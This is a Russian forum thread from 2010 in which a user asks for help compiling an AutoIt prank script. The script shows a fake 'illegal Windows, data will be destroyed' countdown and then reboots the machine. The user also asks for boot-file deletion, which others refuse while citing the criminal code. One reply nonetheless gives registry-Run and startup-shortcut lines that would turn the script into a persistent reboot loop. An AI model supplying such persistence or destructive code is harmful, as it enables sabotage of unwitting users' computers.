Войти

Показать полную графическую версию : Скомпилировать скрипт AutoIt в *.exe


harleysoft
05-02-2010, 19:46
Доброго времени суток! Я полный чайник в AutoIt, Поэтому пишу сюда. не мог бы кто нибудь создать такую программу:
ProgressOn("Пожалуйста, подождите...", "Происходит уничтожение данных :)", "Система обнаружила использование нелегальной" & CHR(10) & "копии Windows. Через " & $j & " сек. все данные" & CHR(10) & "на ваших дисках будут уничтожены.")
For $i = 1 to 99 step 3.3
$j=$j-1
sleep(1000)
ProgressSet( $i, "Система обнаружила использование нелегальной" & CHR(10) & "копии Windows. Через " & $j & " сек. все данные" & CHR(10) & "на ваших дисках будут уничтожены.")
Next
ProgressSet(-1 , "Шеф! Все пропало. Прощайте.")
Shutdown(2)

sleep(5000)

Вот только надо что бы комп не просто перезагружался но и удалял файлик ntldr с Windows XP и cp_1251.nls и с висты\семёрки удалял тоже какой нибудь загрузочный файл. так чтобы система умирала без возможности восстановления.Заранее спасибо.

madmasles
05-02-2010, 20:06
harleysoft,
Вот Вы RadioLite делали, TV, а сейчас Вас, по моему мнению, куда-то не туда потянуло. Ни к чему это...

PS
Вот насчет радио я бы с удовольствием пообщался...

Coutty
05-02-2010, 20:07
harleysoft, вирусы пишете? Руководство для начинающих вирусописателей (УК РФ, ст. 273). (http://partnerstvo.ru/lib/ugpravo/node/147)

Sp01LeR
05-02-2010, 21:36
Coutty, в принцыпе и простым батником с одной строчкой можно винду "убить", так что лучше пусть делает GUI с "прогрес-баром" - хоть какой-то шанс успеть нажать резет у юзера будет... :coffee:

madmasles
05-02-2010, 21:41
Sp01LeR,
А еще есть "Пояс шахида" ... забанят нас за off top...

harleysoft
05-02-2010, 22:13
PS
Вот насчет радио я бы с удовольствием пообщался... »
ну давайте впринципе я не против!
вирусы пишете? »
Coutty, просто в учебнике по автоустановке есть такой скрипт. но вот я не разобрался как его в *.exe преобразовать. когда я там его преобразовал чё та какая то ошибка вылазит при запуске.
Coutty, в принцыпе и простым батником с одной строчкой можно винду "убить", так что лучше пусть делает GUI с "прогрес-баром" - хоть какой-то шанс успеть нажать резет у юзера будет... »
Это точно! :)

Creat0R
05-02-2010, 22:56
harleysoft,
Предупреждение за нарушение правил форума, пункт 2.7 (http://forum.oszone.net/rules.html#2.7):

В заголовке темы обязательно обозначайте название предмета, которого касается вопрос
Переименуйте тему в нечто более конкретное.

А также куски кода нужно заключать в соответствующие теги.

Coutty
06-02-2010, 08:16
просто в учебнике по автоустановке есть такой скрипт. но вот я не разобрался как его в *.exe преобразовать.
В учебнике по автоустановке именно тот скрипт, который вы наверху указали? Так это пока не шибко вредоносный код - просто компьютер перезагрузится. А вот если добавить удаление файлов, либо включение в автозагрузку - уже совсем другой результат.
когда я там его преобразовал чё та какая то ошибка вылазит при запуске »
»
Здорово) Чтобы там не было ошибки, нужно сделать как-нибудь так.
Они всего лишь хотят, чтобы переменная $j объявлялась перед её использованием.
в принцыпе и простым батником с одной строчкой можно винду "убить", так что лучше пусть делает GUI с "прогрес-баром" - хоть какой-то шанс успеть нажать резет у юзера будет »
"В принципе, героином человека убить проще, чем марихуаной. Давайте легализуем марихуану - хоть какой-то шанс у наркоманов появится".

harleysoft
06-02-2010, 09:54
Coutty, а вот это что такое?Они всего лишь хотят, чтобы переменная $j объявлялась перед её использованием. »
Повторяю я полный чайник в AutoIt!
Coutty, да в учебнике по автоустановке именно такой скрипт! Прошу прощения, получается если сделать такой екзешник то типа вирус уже будет? а если просто с добавлением в автозагрузку сделать без удаления файлов?

madmasles
06-02-2010, 10:20
harleysoft,
В начале напишите $j = 30
И перед Shutdown(2) поставьте ; на всякий случай. Тогда будет работать.

если просто с добавлением в автозагрузку сделать без удаления файлов? » Будет прикол с постоянной перезагрузкой.

harleysoft
06-02-2010, 21:49
madmasles, а как на автозагрузку поставить? имел ввиду что бы программа при запуске сама добаляла себя в автозагрузку.

madmasles
06-02-2010, 21:56
harleysoft,
Примерно так:
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "MyProga.exe", "REG_SZ", @ScriptDir & "\MyProga.exe")
Или так:
FileCreateShortcut(@ScriptDir & "\MyProga.exe",@StartupCommonDir & "\MyProga.lnk")

harleysoft
06-02-2010, 22:51
madmasles, попробую.




© OSzone.net 2001-2012